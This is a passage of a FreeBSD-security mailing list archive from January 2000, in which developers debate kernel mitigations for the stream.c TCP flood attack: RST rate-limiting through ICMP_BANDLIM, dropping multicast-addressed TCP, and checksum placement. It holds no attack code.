(envelope-from keramida@diogenis.ceid.upatras.gr) Date: Sat, 22 Jan 2000 04:41:09 +0200 From: Giorgos Keramidas To: Brett Glass Cc: security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000122044109.A27337@hades.hell.gr> Reply-To: keramida@ceid.upatras.gr References: <200001212315.PAA64608@apollo.backplane.com> <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> <4.2.2.20000120220649.018faa80@localhost> <4.2.2.20000120222630.01919150@localhost> <4.2.2.20000121163454.01a58e30@localhost> <4.2.2.20000121165135.01a543b0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <4.2.2.20000121165135.01a543b0@localhost> X-PGP-Fingerprint: 62 45 D1 C9 26 F9 95 06 D6 21 2A C8 8C 16 C0 8E X-Phone-Number: +30-94-6203692, +30-93-2886457 X-Address: Theodorou Kirinaiou 61, 26334 Patra, Greece Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 04:52:10PM -0700, Brett Glass wrote: > At 04:37 PM 1/21/2000 , I wrote: > > > Perhaps one should stop dropping RSTs when it's clear that the number > > you're sending is greater than the number of connections you've had in a > > good long while! > > I meant "stop sending RSTs," of course. We do need a smart way of selecting which RSTs not to send though. If we just stop sending RSTs after we exceed a number, and an attacker launches the packet storm before we reach the closing state with some other long-distance socket, the limit will be reached with the RSTs of the attacker and the long-distance socket will just have to time out. -- Giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19: 8:54 2000 Delivered-To: freebsd-security@freebsd.org Received: from mx2.x-treme.gr (mx2.x-treme.gr [212.120.192.15]) by hub.freebsd.org (Postfix) with ESMTP id CFD8B14CF8 for ; Fri, 21 Jan 2000 19:08:47 -0800 (PST) (envelope-from keramida@diogenis.ceid.upatras.gr) Received: from hades.hell.gr (pat33.x-treme.gr [212.120.197.225]) by mx2.x-treme.gr (8.9.3/8.9.3/IPNG-ADV-ANTISPAM-0.1) with ESMTP id FAA29971; Sat, 22 Jan 2000 05:08:39 +0200 Received: (from charon@localhost) by hades.hell.gr (8.9.3/8.9.3) id FAA27608; Sat, 22 Jan 2000 05:03:37 +0200 (EET) (envelope-from keramida@diogenis.ceid.upatras.gr) Date: Sat, 22 Jan 2000 05:03:37 +0200 From: Giorgos Keramidas To: Brett Glass Cc: Matthew Dillon , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000122050337.A27571@hades.hell.gr> Reply-To: keramida@ceid.upatras.gr References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> <200001220035.QAA65392@apollo.backplane.com> <4.2.2.20000121174940.019bd1a0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <4.2.2.20000121174940.019bd1a0@localhost> X-PGP-Fingerprint: 62 45 D1 C9 26 F9 95 06 D6 21 2A C8 8C 16 C0 8E X-Phone-Number: +30-94-6203692, +30-93-2886457 X-Address: Theodorou Kirinaiou 61, 26334 Patra, Greece Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 05:51:26PM -0700, Brett Glass wrote: > At 05:35 PM 1/21/2000 , Matthew Dillon wrote: > > > I wouldn't worry about multicast addresses for several reasons. First, > > very few machines actually run a multicast router. No router, no > > problem. This is not the case with some ISPs though. Speaking for my own country (i.e. Greece), several major Internet Service Providers that I've tried have been constantly sending igmp and pim packets even to dialup links. This probably means that not a lot of people know about multicast, and those that are playing around with it around these places have neglected configuring their Cisco routers properly. > I'm not so sure. Using a multicast address as the source address for an > attack (like this one) does seem to be tying systems up into little tiny > pretzel knots as they try to send RSTs to those addresses. I think that dropping multicast packets dead on the floor if and when they reach the tcp stack is the best thing to do. Sending to multicast addresses seems to be a problem too, if I got you right Brett. -- Giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19: 9:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from mx2.x-treme.gr (mx2.x-treme.gr [212.120.192.15]) by hub.freebsd.org (Postfix) with ESMTP id B5F59156AC for ; Fri, 21 Jan 2000 19:08:49 -0800 (PST) (envelope-from keramida@diogenis.ceid.upatras.gr) Received: from hades.hell.gr (pat33.x-treme.gr [212.120.197.225]) by mx2.x-treme.gr (8.9.3/8.9.3/IPNG-ADV-ANTISPAM-0.1) with ESMTP id FAA29974; Sat, 22 Jan 2000 05:08:44 +0200 Received: (from charon@localhost) by hades.hell.gr (8.9.3/8.9.3) id EAA27390; Sat, 22 Jan 2000 04:46:38 +0200 (EET) (envelope-from keramida@diogenis.ceid.upatras.gr) Date: Sat, 22 Jan 2000 04:46:38 +0200 From: Giorgos Keramidas To: Brett Glass Cc: Matthew Dillon , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000122044638.B27337@hades.hell.gr> Reply-To: keramida@ceid.upatras.gr References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <200001212321.PAA64674@apollo.backplane.com> <4.2.2.20000121163937.01a51dc0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <4.2.2.20000121163937.01a51dc0@localhost> X-PGP-Fingerprint: 62 45 D1 C9 26 F9 95 06 D6 21 2A C8 8C 16 C0 8E X-Phone-Number: +30-94-6203692, +30-93-2886457 X-Address: Theodorou Kirinaiou 61, 26334 Patra, Greece Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 04:44:06PM -0700, Brett Glass wrote: > At 04:21 PM 1/21/2000 , Matthew Dillon wrote: > > > The ICMP_BANDLIM code does precisely this: It detects a potential attack > > and limits the response to it. The current ICMP_BANDLIM code is limited > > to two cases: > > > > (1) ICMP responses > > (2) TCP packets sent to bad ports > > > > It would take perhaps ten seconds to extend the mechanism to cover other > > TCP RST cases but the above two cases usually handle the vast majority of > > these sorts of attacks so if this exploit code is stopped cold by > > ICMP_BANDLIM, we're done. If it isn't then we spend a few seconds > > extending the cases covered by ICMP_BANDLIM and we are done. > > I'd certainly like to see this extended to RST. We can optimize socket > searching and prevent TCP from sending RSTs (or anything!) to multicast > addresses at the same time. (We probably also want to block RECEIVED TCP > packets from multicast addresses, as Wes suggests.) So what needs to be done is: (a) drop all multicast packets that reach the tcp stack. (b) extend ICMP_BANDLIM to RST packets, and (c) avoid sending anything tcp to a multicast address Do I forget something here? -- Giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19: 9:11 2000 Delivered-To: freebsd-security@freebsd.org Received: from mx2.x-treme.gr (mx2.x-treme.gr [212.120.192.15]) by hub.freebsd.org (Postfix) with ESMTP id 4216315761 for ; Fri, 21 Jan 2000 19:08:57 -0800 (PST) (envelope-from keramida@diogenis.ceid.upatras.gr) Received: from hades.hell.gr (pat33.x-treme.gr [212.120.197.225]) by mx2.x-treme.gr (8.9.3/8.9.3/IPNG-ADV-ANTISPAM-0.1) with ESMTP id FAA29968; Sat, 22 Jan 2000 05:08:33 +0200 Received: (from charon@localhost) by hades.hell.gr (8.9.3/8.9.3) id FAA27617; Sat, 22 Jan 2000 05:06:56 +0200 (EET) (envelope-from keramida@diogenis.ceid.upatras.gr) Date: Sat, 22 Jan 2000 05:06:56 +0200 From: Giorgos Keramidas To: Tim Yardley Cc: Vladimir Dubrovin , news@technotronic.com, bugtraq@securityfocus.com, freebsd-security@FreeBSD.ORG Subject: Re: explanation and code for stream.c issues Message-ID: <20000122050656.B27571@hades.hell.gr> Reply-To: keramida@ceid.upatras.gr References: <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> <4.2.0.58.20000121112253.012a8f10@students.uiuc.edu> <8920.000121@sandy.ru> <4.2.0.58.20000121131202.0135ef10@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <4.2.0.58.20000121131202.0135ef10@students.uiuc.edu> X-PGP-Fingerprint: 62 45 D1 C9 26 F9 95 06 D6 21 2A C8 8C 16 C0 8E X-Phone-Number: +30-94-6203692, +30-93-2886457 X-Address: Theodorou Kirinaiou 61, 26334 Patra, Greece Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 01:15:27PM -0600, Tim Yardley wrote: > > As was mentioned in the "advisory/explanation" on the issue, ipfw cannot > deal with the problem due to the fact that it is stateless. > > The attack comes from random ip addresses, therefore throttling like that > only hurts your connection or solves nothing at all. In other words, the > random sourcing and method of the attack, makes a non-stateless firewall > useless. Substitute 'stateless' for 'non-stateless' above. A stateless firewall, like IPFW is the type of firewall that is useless. -- Giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19:18: 1 2000 Delivered-To: freebsd-security@freebsd.org Received: from puck.nether.net (puck.nether.net [204.42.254.5]) by hub.freebsd.org (Postfix) with ESMTP id 55FAC14C58 for ; Fri, 21 Jan 2000 19:17:56 -0800 (PST) (envelope-from jared@puck.nether.net) Received: (from jared@localhost) by puck.nether.net (8.9.3/8.9.3) id WAA09531; Fri, 21 Jan 2000 22:17:37 -0500 (envelope-from jared) Date: Fri, 21 Jan 2000 22:17:36 -0500 From: Jared Mauch To: Matthew Dillon Cc: Jared Mauch , Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121221736.A9396@puck.nether.net> Mail-Followup-To: Matthew Dillon , Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> <200001220035.QAA65392@apollo.backplane.com> <20000121200829.E4055@puck.nether.net> <200001220118.RAA65802@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200001220118.RAA65802@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Jan 21, 2000 at 05:18:17PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 05:18:17PM -0800, Matthew Dillon wrote: > > : I currently show 69695 prefixes on the internet. of those, > :7366 are currently multicast capable, which is 10.5%. > : > : I take some issue with your statement, as more hosts are currently > :connected than ever before, and I see it increase daily. I doubt it will > :reach 100% anytime soon, but it's far more deployed than it has ever > :been, and continues to be deployed. Attacks related to multicast connectivity > :need to be taken into account. > : > : - Jared > : > :-- > :Jared Mauch | pgp key available via finger from jared@puck.nether.net > :clue++; | http://puck.nether.net/~jared/ My statements are only mine. > > There are two waring multicast protocols... the one originally designed for > BSD (mrouted), and Cisco's more modern mcast protocols. Mrouted and dvmrp need to die their necessary deaths. pim is the way to go. > Until the protocols are reconciled you aren't going to be seeing much in the > way of high-bandwidth multicasting. Really? I should probally stop returning those calls from the broadcast.com multicast group then. I typically seel a 512k/sec or 1M video streams on the multicast connected sections of the internet, if not more. I must disagree entireley. There is a major chicken and egg scenario here. Multicast is not useful because it is not deployed. But people don't deploy it because they don't see it as useful, because people don't use it much because they feel they can't reach everyone. This needs to change, but this is not the correct fourm for that change. the FreeBSD IP stack should have enough hooks within itself to drop these bogon packets as soon as possible. i'm not an ip stack expert, but I know enough that we should drop packets where protocol=tcp and (src|dst) matches 224/4 - jared -- Jared Mauch | pgp key available via finger from jared@puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. END OF LINE | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19:22:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id F1BBA1563C for ; Fri, 21 Jan 2000 19:22:32 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) id TAA28591; Fri, 21 Jan 2000 19:46:09 -0800 (PST) Date: Fri, 21 Jan 2000 19:46:09 -0800 From: Alfred Perlstein To: Matthew Dillon Cc: Poul-Henning Kamp , Brett Glass , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121194609.A19536@fw.wintelcom.net> References: <7263.948497709@critter.freebsd.dk> <200001212353.PAA64927@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200001212353.PAA64927@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Jan 21, 2000 at 03:53:28PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Matthew Dillon [000121 17:08] wrote: > :> It may be worth doing this sort of patch after the release, but if the goal > :> of the release is to fix bugs then the proper solution is to use the one that > :> we know already makes a difference - restricting the output path. > : > :And you conveniently forgot to quote the one line of my email where I > :said as much. > : > :-- > :Poul-Henning Kamp FreeBSD coreteam member > :phk@FreeBSD.ORG "Real hackers run -current on their laptop." > > Sorry about that. I'm freaking out a little because we are too damn close > to release to be making any big changes to the network stack and protocols. > Frankly, big changes are not necessary. A corrupted packet is less likely to contain valid data that would match up against our internal state. I'm not planning on committing such work until after the 4.0 split, however I don't see why we should spend the time to checksum 10 megabytes per second _in an interrupt routine_ when we could easily do so right before inserting it into the socket after its contents have been validated. Please look at tcp_input, notice the "goto drop" and "goto dropwithreset" jumps, they are scattered throught and after some pretty close examination (no tests yet) I've been able to see that we can signifigantly move the tcp checksum farther into the path. Another problem is that we may _have_ to do a checksum so as to drop invalid packets instead of RST'ing them, however once we reach our threshold of rate limiting we can avoid the checksum because at that point we aren't sending RSTs, there's no point in differentiating between corrupted and invalid packets. This is a lot less complicated than it sounds. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19:41: 4 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 8320714F39 for ; Fri, 21 Jan 2000 19:40:55 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id UAA28531; Fri, 21 Jan 2000 20:40:39 -0700 (MST) Message-Id: <4.2.2.20000121195112.0196a220@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 20:40:37 -0700 To: Matthew Dillon , Dag-Erling Smorgrav From: Brett Glass Subject: Re: Some observations on stream.c and streamnt.c Cc: Keith Stevenson , freebsd-security@FreeBSD.ORG In-Reply-To: <200001220245.SAA66403@apollo.backplane.com> References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 07:45 PM 1/21/2000 , Matthew Dillon wrote: > Second, you purport that TCP_RESTRICT_RST is a better solution. > I'll tell you something about TCP_RESTRICT_RST: It's garbage. It should > never have been committed into the tree. It takes out *EVERY* single > goddamn RST response in the entire TCP input chain, even the ones that > couldn't possibly be related to an attack. You propose rate-limiting RSTs, and I agree that this could help against an attack. But there are two problems. First, it allows port probing; and second, it might actually be a problem if a system crashes while a large number of connections are active and then immediately reboots. The flurry of necessary RSTs sent at the outset might exceed the limit and fail to clean up the mess. So, you'd probably want to allow a fairly high rate of RSTs at boot time (not enough to crash the machine) and then fewer later on. Things WILL get back to normal quicker if you can RST all of the sessions that were active before the reboot. In this situation you are absolutely right: RSTs can do something useful. It is also true that a RST can defeat spoofed sessions, but the benefit is small. In attacks involving spoofing the person sending the spoofed packet generally doesn't intend to establish a session and won't get the RST anyway. Rather, he or she is wasting the machine's time and/or resources (e.g. by SYN flooding). And as we've seen, the RST can amplify the attack by triggering ICMP traffic. So, one might argue that RSTs could (and should!) be turned off a certain amount of time after a machine boots. After all, once it's past the time when they can reasonably used to kill old sessions, they're pretty much only going to be responses to attacks (see RFC 793). And they'll allow port probing. My preference as a sysadmin would therefore be to rate-limit during the "cleanup" period but ramp the limit down to zero thereafter. This might be the best of all worlds for those of us who don't want to be probed but want to be able to reboot gracefully -- which is what the protocol designers had in mind. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19:53:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 5644C14E46 for ; Fri, 21 Jan 2000 19:53:14 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id TAA66856; Fri, 21 Jan 2000 19:53:07 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 19:53:07 -0800 (PST) From: Matthew Dillon Message-Id: <200001220353.TAA66856@apollo.backplane.com> To: Brett Glass Cc: Dag-Erling Smorgrav , Keith Stevenson , freebsd-security@FreeBSD.ORG Subject: Re: Some observations on stream.c and streamnt.c References: <4.2.2.20000120194543.019a8d50@localhost> <20000121162757.A7080@osaka.louisville.edu> <4.2.2.20000121195112.0196a220@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :... :amplify the attack by triggering ICMP traffic. : :So, one might argue that RSTs could (and should!) be turned off a certain :amount of time after a machine boots. After all, once it's past the :time when they can reasonably used to kill old sessions, they're :pretty much only going to be responses to attacks (see RFC 793). And :they'll allow port probing. : :My preference as a sysadmin would therefore be to rate-limit during :the "cleanup" period but ramp the limit down to zero thereafter. :This might be the best of all worlds for those of us who don't want to :be probed but want to be able to reboot gracefully -- which is what :the protocol designers had in mind. : :--Brett Brett, it's an interesting rationalization, but it's completely wrong. If you think a moment you will find that there are plenty of RST situations long after boot. Think of all those dialup connections where people turn off their modems before disconnecting, for example. At BEST our servers always had a large number of hanging connections from that sort of situation. Now what happens when someone new gets that dynamic dialup IP and connects back to the same server using the same port pair? There are ftp port-pairs, there is the tendancy for machines to reuse port numbers, there are all sorts of problems that RST helps with. Believe me, RST's are useful. Rationalizing them away just isn't going to work. You will wind up with some convoluted set of rules and conditions when all you had to do in the first place was turn on ICMP_BANDLIM. As far as port probing goes: So what? Do you think preventing people from identifying your machine will make it more secure? I got news for you! Most machine compromises come from the inside-out, when your users pick stupid passwords or login from a public library. I would stop worrying about silly things like port probing and instead work on more meaningful security measures. You will only twist yourself in knots and screw up your system with convoluted options that go wayyy to far. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19:56:57 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 31043156FE for ; Fri, 21 Jan 2000 19:56:54 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id TAA66875; Fri, 21 Jan 2000 19:56:51 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 19:56:51 -0800 (PST) From: Matthew Dillon Message-Id: <200001220356.TAA66875@apollo.backplane.com> To: Jared Mauch Cc: Jared Mauch , Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> <200001220035.QAA65392@apollo.backplane.com> <20000121200829.E4055@puck.nether.net> <200001220118.RAA65802@apollo.backplane.com> <20000121221736.A9396@puck.nether.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org : There is a major chicken and egg scenario here. Multicast :is not useful because it is not deployed. But people don't deploy it because :they don't see it as useful, because people don't use it much because :they feel they can't reach everyone. : : This needs to change, but this is not the correct fourm for that :change. :... : : - jared No, it is not deployed because of a lack of interest. Lots of people are interested. We went through all that at BEST ... Except for Alternet none of the backbones were willing to even contemplate multicast routing (pim or anything else) because they simply had no way to manage their network bandwidth (to handle it) *OR* to bill for it. The situation hasn't changed. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19:59:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 33F091571C for ; Fri, 21 Jan 2000 19:59:17 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id UAA28722; Fri, 21 Jan 2000 20:58:46 -0700 (MST) Message-Id: <4.2.2.20000121204210.019817b0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 20:58:43 -0700 To: keramida@ceid.upatras.gr From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Matthew Dillon , Warner Losh , Darren Reed , security@FreeBSD.ORG In-Reply-To: <20000122044638.B27337@hades.hell.gr> References: <4.2.2.20000121163937.01a51dc0@localhost> <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <200001212321.PAA64674@apollo.backplane.com> <4.2.2.20000121163937.01a51dc0@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 07:46 PM 1/21/2000 , Giorgos Keramidas wrote: >So what needs to be done is: > >(a) drop all multicast packets that reach the tcp stack. >(b) extend ICMP_BANDLIM to RST packets, and >(c) avoid sending anything tcp to a multicast address > >Do I forget something here? (d) Don't *accept* TCP from a multicast address. And a few other possible refinements: 1. Don't look for a listening socket when we receive a packet that's not a SYN. Trivial and fast, and it eliminates some awkward code that catches this situation after the fact. 2. Consider starting the rate limit on RSTs off high at boot time (when cleanup might be needed) and ramping it down to a lower user-configurable level after that. Let the final level be settable to zero if the user doesn't want to be probed easily but does want to kill old connections. If the user is really paranoid, he can set the starting level at zero as well, thus killing all RSTs and committing heresy against the IETF. ;-) 3. Consider not sending RSTs in response to certain attacks, such as FIN probes. 4. Consider lazy checksumming of the TCP payload. Though, frankly, since one checksum covers the TCP header and the data, and you need to test the checksum to get at the port numbers, control bits, etc., it really can't be deferred very much. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 19:59:42 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id C806B1553B for ; Fri, 21 Jan 2000 19:59:38 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id TAA66907; Fri, 21 Jan 2000 19:59:12 -0800 (PST) (envelope-from dillon) Date: Fri, 21 Jan 2000 19:59:12 -0800 (PST) From: Matthew Dillon Message-Id: <200001220359.TAA66907@apollo.backplane.com> To: Giorgos Keramidas Cc: Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <200001212321.PAA64674@apollo.backplane.com> <4.2.2.20000121163937.01a51dc0@localhost> <20000122044638.B27337@hades.hell.gr> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org :So what needs to be done is: : :(a) drop all multicast packets that reach the tcp stack. :(b) extend ICMP_BANDLIM to RST packets, and :(c) avoid sending anything tcp to a multicast address : :Do I forget something here? : :-- Giorgos That's pretty much it. I've already sent a patch set to Warner for (b). I don't think we should do (a) or (c) until after the release, multicast isn't going to explode on us in the next 4 months. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 20: 2:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 0A0DA155AC for ; Fri, 21 Jan 2000 20:02:34 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id VAA28764; Fri, 21 Jan 2000 21:02:14 -0700 (MST) Message-Id: <4.2.2.20000121205951.01a58bb0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Jan 2000 21:02:11 -0700 To: Alfred Perlstein , Matthew Dillon From: Brett Glass Subject: Re: stream.c worst-case kernel paths Cc: Poul-Henning Kamp , security@FreeBSD.ORG In-Reply-To: <20000121194609.A19536@fw.wintelcom.net> References: <200001212353.PAA64927@apollo.backplane.com> <7263.948497709@critter.freebsd.dk> <200001212353.PAA64927@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 08:46 PM 1/21/2000 , Alfred Perlstein wrote: >Please look at tcp_input, notice the "goto drop" and "goto >dropwithreset" jumps, they are scattered throught and after some >pretty close examination (no tests yet) I've been able to see that >we can signifigantly move the tcp checksum farther into the path. One of the first things the routine does is look for a socket that matches the TCP header. This relies on the port numbers and control bits, which are covered by the checksum. This is the hard limit on how long you can defer the checksum. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 20: 8:32 2000 Delivered-To: freebsd-security@freebsd.org Received: from puck.nether.net (puck.nether.net [204.42.254.5]) by hub.freebsd.org (Postfix) with ESMTP id 18A3715704 for ; Fri, 21 Jan 2000 20:08:28 -0800 (PST) (envelope-from jared@puck.nether.net) Received: (from jared@localhost) by puck.nether.net (8.9.3/8.9.3) id XAA09941; Fri, 21 Jan 2000 23:08:15 -0500 (envelope-from jared) Date: Fri, 21 Jan 2000 23:08:15 -0500 From: Jared Mauch To: Matthew Dillon Cc: Jared Mauch , Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121230815.A9928@puck.nether.net> Mail-Followup-To: Matthew Dillon , Brett Glass , Warner Losh , Darren Reed , security@FreeBSD.ORG References: <200001210417.PAA24853@cairo.anu.edu.au> <200001210642.XAA09108@harmony.village.org> <4.2.2.20000121163937.01a51dc0@localhost> <200001220035.QAA65392@apollo.backplane.com> <20000121200829.E4055@puck.nether.net> <200001220118.RAA65802@apollo.backplane.com> <20000121221736.A9396@puck.nether.net> <200001220356.TAA66875@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <200001220356.TAA66875@apollo.backplane.com>; from dillon@apollo.backplane.com on Fri, Jan 21, 2000 at 07:56:51PM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, Jan 21, 2000 at 07:56:51PM -0800, Matthew Dillon wrote: > > : There is a major chicken and egg scenario here. Multicast > :is not useful because it is not deployed. But people don't deploy it because > :they don't see it as useful, because people don't use it much because > :they feel they can't reach everyone. > : > : This needs to change, but this is not the correct fourm for that > :change. > :... > : > : - jared > > No, it is not deployed because of a lack of interest. Lots of people > are interested. We went through all that at BEST ... Except for > Alternet none of the backbones were willing to even contemplate > multicast routing (pim or anything else) because they simply had no > way to manage their network bandwidth (to handle it) *OR* to bill for it. > > The situation hasn't changed. Hmm. Verio has it deployed. So does Globalcenter. Hmm. Guess they're not important. -- Jared Mauch | pgp key available via finger from jared@puck.nether.net clue++; | http://puck.nether.net/~jared/ My statements are only mine. END OF LINE | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 20:27:18 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 4CAAE1501C for ; Fri, 21 Jan 2000 20:27:06 -0800 (PST) (envelope-from brett@lariat.org) Received: from workhorse (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id VAA28964; Fri, 21 Jan 2000 21:26:39 -0700 (MST) Message-Id: 